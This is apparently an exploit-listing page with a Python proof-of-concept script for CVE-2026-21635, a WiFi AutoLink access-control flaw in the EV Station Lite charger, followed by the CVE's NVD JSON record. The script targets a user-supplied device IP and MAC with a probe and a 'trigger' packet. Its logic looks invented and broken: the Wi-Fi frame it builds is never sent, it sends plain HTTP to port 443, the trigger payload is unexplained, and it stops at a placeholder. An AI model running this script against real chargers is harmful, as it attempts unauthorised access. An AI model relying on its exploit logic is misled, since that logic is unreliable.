CVE-2026-21635

# CVE-2026-21635 PoC - EV Station Lite WiFi AutoLink Exploitation # This PoC demonstrates the improper access control in WiFi AutoLink feature # Note: This is for educational and authorized testing purposes only import socket import struct import time def create_wifi_probe_request(ssid): """Create a Wi-Fi probe request frame""" frame = b'\x40' # Frame Control: Probe Request frame += b'\x00' # Duration frame += b'\xff\xff\xff\xff\xff\xff' # Destination: Broadcast frame += b'\x00\x11\x22\x33\x44\x55' # Source: Attacker MAC frame += b'\xff\xff\xff\xff\xff\xff' # BSSID: Broadcast frame += b'\x00\x00' # Sequence control frame += b'\x00' + bytes([len(ssid)]) + ssid.encode() # SSID IE frame += b'\x01\x08\x82\x84\x8b\x96\x24\x30\x48' # Supported rates return frame def send_autolink_trigger(target_ip, target_mac): """Send trigger packet to exploit WiFi AutoLink""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = b'AUTOLINK_TRIGGER' payload += b'\x01' # Trigger flag payload += target_mac.encode() if isinstance(target_mac, str) else target_mac try: sock.sendto(payload, (target_ip, 8080)) print(f"[*] Sent AutoLink trigger to {target_ip}") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() def check_wifi_enabled(target_ip): """Check if WiFi AutoLink is accessible""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, 443)) request = b'GET /api/wifi/autolink/status HTTP/1.1\r\nHost: ' request += target_ip.encode() request += b'\r\n\r\n' sock.send(request) response = sock.recv(1024) if b'200' in response or b'autolink' in response.lower(): print("[+] WiFi AutoLink is accessible - vulnerability confirmed") return True except: pass finally: sock.close() return False def main(): target_ip = input("Enter target EV Station Lite IP: ") target_mac = input("Enter target MAC address: ") print("[*] CVE-2026-21635 PoC - EV Station Lite WiFi AutoLink Access Control Bypass") print(f"[*] Target: {target_ip}") # Step 1: Probe for WiFi AutoLink endpoint if check_wifi_enabled(target_ip): print("[+] Step 1: WiFi AutoLink endpoint is accessible") # Step 2: Send AutoLink trigger send_autolink_trigger(target_ip, target_mac) # Step 3: Capture network configuration print("[+] Step 2: Attempting to retrieve network configuration...") # Additional exploitation steps would go here else: print("[-] WiFi AutoLink is not accessible or device is patched") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-21635", "sourceIdentifier": "[email protected]", "published": "2026-01-05T17:15:47.350", "lastModified": "2026-01-30T01:22:13.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Access Control could allow a malicious actor in Wi-Fi range to the EV Station Lite (v1.5.2 and earlier) to use WiFi AutoLink feature on a device that was only adopted via Ethernet."}, {"lang": "es", "value": "Un control de acceso inadecuado podría permitir a un actor malicioso dentro del alcance de Wi-Fi de la EV Station Lite (v1.5.2 y anteriores) utilizar la función WiFi AutoLink en un dispositivo que solo fue adoptado a través de Ethernet."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:unifi_connect_ev_station_lite_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.1", "matchCriteriaId": "D5EBEF9D-3DC1-47DB-A23B-F63D3B5F378B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:unifi_connect_ev_station_lite:-:*:*:*:*:*:*:*", "matchCriteriaId": "9BD1ED22-51D2-485D-BF58-D9183AF27857"}]}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-059/0c0b7f7a-68b7-41b9-987e-554f4b40e0e6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}